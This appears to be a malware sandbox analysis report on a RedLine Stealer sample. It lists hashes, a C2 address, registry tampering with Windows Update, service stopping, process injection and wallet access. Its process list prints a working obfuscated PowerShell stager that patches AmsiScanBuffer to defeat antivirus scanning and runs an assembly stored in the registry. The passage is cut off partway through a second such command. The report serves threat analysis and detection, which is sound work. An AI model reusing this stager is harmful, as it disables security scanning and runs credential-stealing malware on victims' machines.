Analysis
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max time kernel
64s -
max time network
93s -
platform
windows10-2004_x64 -
resource
win10v2004-20221111-en -
resource tags
arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system -
submitted
28/01/2023, 19:09
Static task
static1
Behavioral task
behavioral1
Sample
1d678410484e34165adb652f7e86a2b5cae5f58d.exe
Resource
win7-20220812-en
Behavioral task
behavioral2
Sample
1d678410484e34165adb652f7e86a2b5cae5f58d.exe
Resource
win10v2004-20221111-en
General
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Target
1d678410484e34165adb652f7e86a2b5cae5f58d.exe
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Size
361KB
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MD5
18852c1659b6641a1f4eeacf6ce6bb8d
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SHA1
1d678410484e34165adb652f7e86a2b5cae5f58d
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SHA256
34efda61716ff1db7297813317e194d4eaa74ae5209810ef6045aabab2af3179
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SHA512
86295df5931e4673fc6579c1d6425040dbf44c6fbd5c19a35228f1c9f8d4917944c8ff020998d4504853398e7640664bf10c275835b1bfa7a236a073ed518b74
-
SSDEEP
6144:lUNamFD8LPUsNuwibRhinAoCRH+SXm+iMvOfcLpp0AdgqMGjEAOe75wBNEj+nc:lUFD8LPaw2RhinATReSXmPMvBBdqZBNU
Malware Config
Extracted
redline
1
107.182.129.73:21733
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auth_value
3a5bb0917495b4312d052a0b8977d2bb
Signatures
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Modifies security service 2 TTPs 5 IoCs
description ioc Process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo reg.exe -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
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RedLine payload 1 IoCs
resource yara_rule behavioral2/memory/4664-168-0x00000000003D0000-0x00000000003F0000-memory.dmp family_redline -
Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
description pid Process procid_target PID 1260 created 1012 1260 SmartDefRun.exe 54 PID 1260 created 1012 1260 SmartDefRun.exe 54 PID 1260 created 1012 1260 SmartDefRun.exe 54 PID 1260 created 1012 1260 SmartDefRun.exe 54 PID 3648 created 620 3648 powershell.EXE 4 -
Blocklisted process makes network request 2 IoCs
flow pid Process 11 4736 powershell.exe 24 4736 powershell.exe -
Downloads MZ/PE file
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Drops file in Drivers directory 1 IoCs
description ioc Process File created C:\Windows\System32\drivers\etc\hosts SmartDefRun.exe -
Executes dropped EXE 3 IoCs
pid Process 1040 new2.exe 4268 SysApp.exe 1260 SmartDefRun.exe -
Stops running service(s) 3 TTPs
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Uses the VBS compiler for execution 1 TTPs
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Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
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Drops file in System32 directory 2 IoCs
description ioc Process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log powershell.EXE -
Suspicious use of SetThreadContext 4 IoCs
description pid Process procid_target PID 360 set thread context of 632 360 1d678410484e34165adb652f7e86a2b5cae5f58d.exe 84 PID 1040 set thread context of 4664 1040 new2.exe 100 PID 1260 set thread context of 764 1260 SmartDefRun.exe 119 PID 3648 set thread context of 4712 3648 powershell.EXE 124 -
Drops file in Program Files directory 1 IoCs
description ioc Process File created C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe SmartDefRun.exe -
Launches sc.exe 5 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 1140 sc.exe 3536 sc.exe 4944 sc.exe 536 sc.exe 4540 sc.exe -
Program crash 2 IoCs
pid pid_target Process procid_target 3132 360 WerFault.exe 82 220 1040 WerFault.exe 96 -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE -
Suspicious behavior: EnumeratesProcesses 34 IoCs
pid Process 4736 powershell.exe 4736 powershell.exe 4268 SysApp.exe 4268 SysApp.exe 4268 SysApp.exe 4268 SysApp.exe 4268 SysApp.exe 4268 SysApp.exe 4268 SysApp.exe 4268 SysApp.exe 4268 SysApp.exe 4268 SysApp.exe 4664 vbc.exe 1260 SmartDefRun.exe 1260 SmartDefRun.exe 4068 powershell.exe 4068 powershell.exe 1260 SmartDefRun.exe 1260 SmartDefRun.exe 1260 SmartDefRun.exe 1260 SmartDefRun.exe 4828 powershell.exe 4828 powershell.exe 1260 SmartDefRun.exe 1260 SmartDefRun.exe 3648 powershell.EXE 4932 powershell.EXE 3648 powershell.EXE 4932 powershell.EXE 3648 powershell.EXE 4712 dllhost.exe 4712 dllhost.exe 4712 dllhost.exe 4712 dllhost.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 4736 powershell.exe Token: SeDebugPrivilege 4664 vbc.exe Token: SeDebugPrivilege 4068 powershell.exe Token: SeDebugPrivilege 4828 powershell.exe Token: SeIncreaseQuotaPrivilege 4828 powershell.exe Token: SeSecurityPrivilege 4828 powershell.exe Token: SeTakeOwnershipPrivilege 4828 powershell.exe Token: SeLoadDriverPrivilege 4828 powershell.exe Token: SeSystemProfilePrivilege 4828 powershell.exe Token: SeSystemtimePrivilege 4828 powershell.exe Token: SeProfSingleProcessPrivilege 4828 powershell.exe Token: SeIncBasePriorityPrivilege 4828 powershell.exe Token: SeCreatePagefilePrivilege 4828 powershell.exe Token: SeBackupPrivilege 4828 powershell.exe Token: SeRestorePrivilege 4828 powershell.exe Token: SeShutdownPrivilege 4828 powershell.exe Token: SeDebugPrivilege 4828 powershell.exe Token: SeSystemEnvironmentPrivilege 4828 powershell.exe Token: SeRemoteShutdownPrivilege 4828 powershell.exe Token: SeUndockPrivilege 4828 powershell.exe Token: SeManageVolumePrivilege 4828 powershell.exe Token: 33 4828 powershell.exe Token: 34 4828 powershell.exe Token: 35 4828 powershell.exe Token: 36 4828 powershell.exe Token: SeIncreaseQuotaPrivilege 4828 powershell.exe Token: SeSecurityPrivilege 4828 powershell.exe Token: SeTakeOwnershipPrivilege 4828 powershell.exe Token: SeLoadDriverPrivilege 4828 powershell.exe Token: SeSystemProfilePrivilege 4828 powershell.exe Token: SeSystemtimePrivilege 4828 powershell.exe Token: SeProfSingleProcessPrivilege 4828 powershell.exe Token: SeIncBasePriorityPrivilege 4828 powershell.exe Token: SeCreatePagefilePrivilege 4828 powershell.exe Token: SeBackupPrivilege 4828 powershell.exe Token: SeRestorePrivilege 4828 powershell.exe Token: SeShutdownPrivilege 4828 powershell.exe Token: SeDebugPrivilege 4828 powershell.exe Token: SeSystemEnvironmentPrivilege 4828 powershell.exe Token: SeRemoteShutdownPrivilege 4828 powershell.exe Token: SeUndockPrivilege 4828 powershell.exe Token: SeManageVolumePrivilege 4828 powershell.exe Token: 33 4828 powershell.exe Token: 34 4828 powershell.exe Token: 35 4828 powershell.exe Token: 36 4828 powershell.exe Token: SeIncreaseQuotaPrivilege 4828 powershell.exe Token: SeSecurityPrivilege 4828 powershell.exe Token: SeTakeOwnershipPrivilege 4828 powershell.exe Token: SeLoadDriverPrivilege 4828 powershell.exe Token: SeSystemProfilePrivilege 4828 powershell.exe Token: SeSystemtimePrivilege 4828 powershell.exe Token: SeProfSingleProcessPrivilege 4828 powershell.exe Token: SeIncBasePriorityPrivilege 4828 powershell.exe Token: SeCreatePagefilePrivilege 4828 powershell.exe Token: SeBackupPrivilege 4828 powershell.exe Token: SeRestorePrivilege 4828 powershell.exe Token: SeShutdownPrivilege 4828 powershell.exe Token: SeDebugPrivilege 4828 powershell.exe Token: SeSystemEnvironmentPrivilege 4828 powershell.exe Token: SeRemoteShutdownPrivilege 4828 powershell.exe Token: SeUndockPrivilege 4828 powershell.exe Token: SeManageVolumePrivilege 4828 powershell.exe Token: 33 4828 powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 360 wrote to memory of 632 360 1d678410484e34165adb652f7e86a2b5cae5f58d.exe 84 PID 360 wrote to memory of 632 360 1d678410484e34165adb652f7e86a2b5cae5f58d.exe 84 PID 360 wrote to memory of 632 360 1d678410484e34165adb652f7e86a2b5cae5f58d.exe 84 PID 360 wrote to memory of 632 360 1d678410484e34165adb652f7e86a2b5cae5f58d.exe 84 PID 360 wrote to memory of 632 360 1d678410484e34165adb652f7e86a2b5cae5f58d.exe 84 PID 632 wrote to memory of 4736 632 vbc.exe 87 PID 632 wrote to memory of 4736 632 vbc.exe 87 PID 632 wrote to memory of 4736 632 vbc.exe 87 PID 4736 wrote to memory of 1040 4736 powershell.exe 96 PID 4736 wrote to memory of 1040 4736 powershell.exe 96 PID 4736 wrote to memory of 1040 4736 powershell.exe 96 PID 4736 wrote to memory of 4268 4736 powershell.exe 98 PID 4736 wrote to memory of 4268 4736 powershell.exe 98 PID 4736 wrote to memory of 4268 4736 powershell.exe 98 PID 4736 wrote to memory of 1260 4736 powershell.exe 99 PID 4736 wrote to memory of 1260 4736 powershell.exe 99 PID 1040 wrote to memory of 4664 1040 new2.exe 100 PID 1040 wrote to memory of 4664 1040 new2.exe 100 PID 1040 wrote to memory of 4664 1040 new2.exe 100 PID 1040 wrote to memory of 4664 1040 new2.exe 100 PID 1040 wrote to memory of 4664 1040 new2.exe 100 PID 4336 wrote to memory of 4944 4336 cmd.exe 109 PID 4336 wrote to memory of 4944 4336 cmd.exe 109 PID 4336 wrote to memory of 536 4336 cmd.exe 110 PID 4336 wrote to memory of 536 4336 cmd.exe 110 PID 4336 wrote to memory of 4540 4336 cmd.exe 111 PID 4336 wrote to memory of 4540 4336 cmd.exe 111 PID 4336 wrote to memory of 1140 4336 cmd.exe 112 PID 4336 wrote to memory of 1140 4336 cmd.exe 112 PID 4336 wrote to memory of 3536 4336 cmd.exe 113 PID 4336 wrote to memory of 3536 4336 cmd.exe 113 PID 4336 wrote to memory of 8 4336 cmd.exe 114 PID 4336 wrote to memory of 8 4336 cmd.exe 114 PID 4336 wrote to memory of 1032 4336 cmd.exe 115 PID 4336 wrote to memory of 1032 4336 cmd.exe 115 PID 4336 wrote to memory of 1732 4336 cmd.exe 116 PID 4336 wrote to memory of 1732 4336 cmd.exe 116 PID 4336 wrote to memory of 3148 4336 cmd.exe 117 PID 4336 wrote to memory of 3148 4336 cmd.exe 117 PID 4336 wrote to memory of 688 4336 cmd.exe 118 PID 4336 wrote to memory of 688 4336 cmd.exe 118 PID 1260 wrote to memory of 764 1260 SmartDefRun.exe 119 PID 3648 wrote to memory of 4712 3648 powershell.EXE 124 PID 3648 wrote to memory of 4712 3648 powershell.EXE 124 PID 3648 wrote to memory of 4712 3648 powershell.EXE 124 PID 3648 wrote to memory of 4712 3648 powershell.EXE 124 PID 3648 wrote to memory of 4712 3648 powershell.EXE 124 PID 3648 wrote to memory of 4712 3648 powershell.EXE 124 PID 3648 wrote to memory of 4712 3648 powershell.EXE 124 PID 3648 wrote to memory of 4712 3648 powershell.EXE 124 PID 3648 wrote to memory of 4712 3648 powershell.EXE 124 PID 4712 wrote to memory of 620 4712 dllhost.exe 4 PID 4712 wrote to memory of 672 4712 dllhost.exe 3 PID 4712 wrote to memory of 960 4712 dllhost.exe 9 PID 4712 wrote to memory of 64 4712 dllhost.exe 15 PID 4712 wrote to memory of 544 4712 dllhost.exe 10 PID 4712 wrote to memory of 700 4712 dllhost.exe 12 PID 4712 wrote to memory of 1064 4712 dllhost.exe 13 PID 4712 wrote to memory of 1072 4712 dllhost.exe 14 PID 4712 wrote to memory of 1080 4712 dllhost.exe 16 PID 4712 wrote to memory of 1204 4712 dllhost.exe 18 PID 4712 wrote to memory of 1228 4712 dllhost.exe 21 PID 4712 wrote to memory of 1248 4712 dllhost.exe 22 PID 4712 wrote to memory of 1372 4712 dllhost.exe 23
Processes
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:672
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:620
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:64
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{b171a6b9-e381-4f91-9b87-aa408bd9a507}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4712
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:960
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:544
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:700
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1064
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1072
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵PID:1080
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "function Local:PJXXBcIQtQqr{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$hxwdQxmRDjoyOg,[Parameter(Position=1)][Type]$VoFlAqrdAc)$fcFbhvUSbFc=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+'e'+''+'f'+''+'l'+''+[Char](101)+'c'+[Char](116)+'e'+[Char](100)+''+[Char](68)+'e'+'l'+''+[Char](101)+''+[Char](103)+'ate')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+'n'+'M'+''+[Char](101)+''+[Char](109)+'or'+'y'+''+'M'+''+[Char](111)+'du'+'l'+'e',$False).DefineType(''+[Char](77)+''+'y'+'De'+'l'+''+'e'+''+'g'+''+[Char](97)+''+[Char](116)+''+[Char](101)+''+'T'+'y'+[Char](112)+''+[Char](101)+'','C'+[Char](108)+''+'a'+'s'+[Char](115)+''+[Char](44)+''+'P'+''+'u'+''+'b'+'li'+[Char](99)+''+[Char](44)+''+[Char](83)+''+[Char](101)+'al'+'e'+''+'d'+','+'A'+''+'n'+''+'s'+''+[Char](105)+'C'+'l'+''+[Char](97)+''+[Char](115)+''+[Char](115)+''+[Char](44)+''+'A'+''+'u'+''+'t'+'oCla'+'s'+'s',[MulticastDelegate]);$fcFbhvUSbFc.DefineConstructor(''+[Char](82)+''+[Char](84)+''+'S'+''+[Char](112)+''+[Char](101)+''+[Char](99)+''+'i'+''+'a'+''+[Char](108)+''+[Char](78)+''+[Char](97)+'m'+[Char](101)+''+[Char](44)+'H'+[Char](105)+''+[Char](100)+''+[Char](101)+'ByS'+'i'+''+[Char](103)+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+'c',[Reflection.CallingConventions]::Standard,$hxwdQxmRDjoyOg).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+[Char](105)+'me'+[Char](44)+'Ma'+[Char](110)+''+[Char](97)+''+[Char](103)+'e'+[Char](100)+'');$fcFbhvUSbFc.DefineMethod('In'+[Char](118)+'o'+'k'+'e','P'+[Char](117)+''+'b'+''+'l'+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+'H'+''+[Char](105)+''+[Char](100)+''+[Char](101)+''+'B'+''+'y'+''+[Char](83)+''+'i'+''+[Char](103)+','+'N'+''+[Char](101)+''+'w'+''+'S'+'l'+[Char](111)+''+'t'+''+[Char](44)+'Vi'+[Char](114)+''+[Char](116)+''+'u'+''+[Char](97)+'l',$VoFlAqrdAc,$hxwdQxmRDjoyOg).SetImplementationFlags('Ru'+'n'+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+'e'+''+[Char](44)+''+'M'+''+[Char](97)+''+[Char](110)+'a'+[Char](103)+''+[Char](101)+''+[Char](100)+'');Write-Output $fcFbhvUSbFc.CreateType();}$OiixJLtkylSFC=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+'s'+'t'+[Char](101)+'m'+[Char](46)+''+[Char](100)+''+'l'+''+[Char](108)+'')}).GetType(''+[Char](77)+''+[Char](105)+'c'+[Char](114)+''+[Char](111)+''+'s'+''+[Char](111)+''+'f'+''+[Char](116)+''+'.'+''+[Char](87)+''+'i'+''+'n'+'3'+[Char](50)+''+[Char](46)+''+[Char](85)+''+[Char](110)+''+[Char](115)+''+'a'+''+[Char](102)+''+'e'+'O'+[Char](105)+''+[Char](105)+''+[Char](120)+''+'J'+''+[Char](76)+''+[Char](116)+''+[Char](107)+''+'y'+''+[Char](108)+'S'+[Char](70)+''+[Char](67)+'');$bwJvRNZTCMzwxY=$OiixJLtkylSFC.GetMethod(''+'b'+''+[Char](119)+'J'+[Char](118)+''+[Char](82)+'N'+'Z'+''+[Char](84)+''+[Char](67)+'M'+'z'+''+'w'+''+'x'+''+[Char](89)+'',[Reflection.BindingFlags]''+[Char](80)+''+[Char](117)+''+[Char](98)+'lic'+','+''+'S'+''+'t'+'a'+[Char](116)+''+[Char](105)+''+'c'+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$TaGEWDqGnJvupiuQwYS=PJXXBcIQtQqr @([String])([IntPtr]);$LBOIztQuPuPAjcDSXQFbOg=PJXXBcIQtQqr @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$wzyyNTKabxr=$OiixJLtkylSFC.GetMethod(''+'G'+''+'e'+''+'t'+''+'M'+''+[Char](111)+''+[Char](100)+'u'+[Char](108)+''+'e'+''+[Char](72)+''+[Char](97)+''+[Char](110)+'d'+[Char](108)+''+'e'+'').Invoke($Null,@([Object](''+'k'+''+[Char](101)+''+'r'+''+[Char](110)+''+'e'+''+'l'+''+[Char](51)+''+[Char](50)+''+'.'+''+'d'+''+[Char](108)+''+[Char](108)+'')));$iWEBIBFnrNohGF=$bwJvRNZTCMzwxY.Invoke($Null,@([Object]$wzyyNTKabxr,[Object](''+[Char](76)+''+[Char](111)+'ad'+[Char](76)+'i'+[Char](98)+''+[Char](114)+''+[Char](97)+''+'r'+''+'y'+''+[Char](65)+'')));$kPnQGuySZgQnrfBvj=$bwJvRNZTCMzwxY.Invoke($Null,@([Object]$wzyyNTKabxr,[Object](''+[Char](86)+''+'i'+''+[Char](114)+'tu'+[Char](97)+'l'+'P'+''+[Char](114)+'ot'+[Char](101)+''+[Char](99)+''+'t'+'')));$EeeyYMX=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($iWEBIBFnrNohGF,$TaGEWDqGnJvupiuQwYS).Invoke(''+[Char](97)+'m'+[Char](115)+''+[Char](105)+''+[Char](46)+''+[Char](100)+''+'l'+''+[Char](108)+'');$oPhuAntozztVkRGMV=$bwJvRNZTCMzwxY.Invoke($Null,@([Object]$EeeyYMX,[Object]('A'+[Char](109)+'si'+'S'+'c'+[Char](97)+''+[Char](110)+''+[Char](66)+''+[Char](117)+''+'f'+''+[Char](102)+''+'e'+''+'r'+'')));$BYecxxkiCw=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($kPnQGuySZgQnrfBvj,$LBOIztQuPuPAjcDSXQFbOg).Invoke($oPhuAntozztVkRGMV,[uint32]8,4,[ref]$BYecxxkiCw);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$oPhuAntozztVkRGMV,8);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($kPnQGuySZgQnrfBvj,$LBOIztQuPuPAjcDSXQFbOg).Invoke($oPhuAntozztVkRGMV,[uint32]8,0x20,[ref]$BYecxxkiCw);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+'OF'+'T'+''+[Char](87)+''+[Char](65)+''+'R'+''+[Char](69)+'').GetValue(''+[Char](100)+''+[Char](105)+''+[Char](97)+'l'+'e'+''+[Char](114)+''+[Char](115)+''+[Char](116)+''+[Char](97)+''+'g'+'er')).EntryPoint.Invoke($Null,$Null)2⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4932
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:JDkDFrGLrapJ{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$utdIpQotGudIOW,[Parameter(Position=1)][Type]$XwSydGzjln)$DiQryyjOSSi=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+'f'+''+[Char](108)+'e'+'c'+''+[Char](116)+''+[Char](101)+''+'d'+''+[Char](68)+''+'e'+''+[Char](108)+''+'e'+''+[Char](103)+''+[Char](97)+''+'t'+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+'n'+[Char](77)+'em'+'o'+'r'+'y'+''+[Char](77)+''+[Char](111)+''+[Char](100)+''+[Char](117)+'l'+'e'+'',$False).DefineType(''+'M'+'y'+'D'+''+[Char](101)+''+[Char](108)+''+[Char](101)+''+[Char](103)+''+[Char](97)+''+[Char](116)+'e'+[Char](84)+'y'+[Char](112)+'e',''+[Char](67)+''+[Char](108)+'a'+'s'+''+[Char](115)+','+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+'i'+'c'+','+[Char](83)+''+[Char](101)+''+[Char](97)+''+[Char](108)+'e'+'d'+''+[Char](44)+'A'+[Char](110)+''+[Char](115)+'i'+'C'+''+[Char](108)+'as'+[Char](115)+''+[Char](44)+''+[Char](65)+'u'+[Char](116)+''+[Char](111)+''+[Char](67)+''+'l'+'a'+'s'+''+'s'+'',[MulticastDelegate]);$DiQryyjOSSi.DefineConstructor(''+[Char](82)+''+'T'+''+'S'+''+'p'+''+[Char](101)+'ci'+[Char](97)+''+[Char](108)+''+'N'+''+[Char](97)+''+[Char](109)+''+'e'+''+','+''+[Char](72)+''+[Char](105)+''+[Char](100)+'eB'+'y'+''+[Char](83)+'ig'+','+''+'P'+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+'i'+'c',[Reflection.CallingConventions]::Standard,$utdIpQotGudI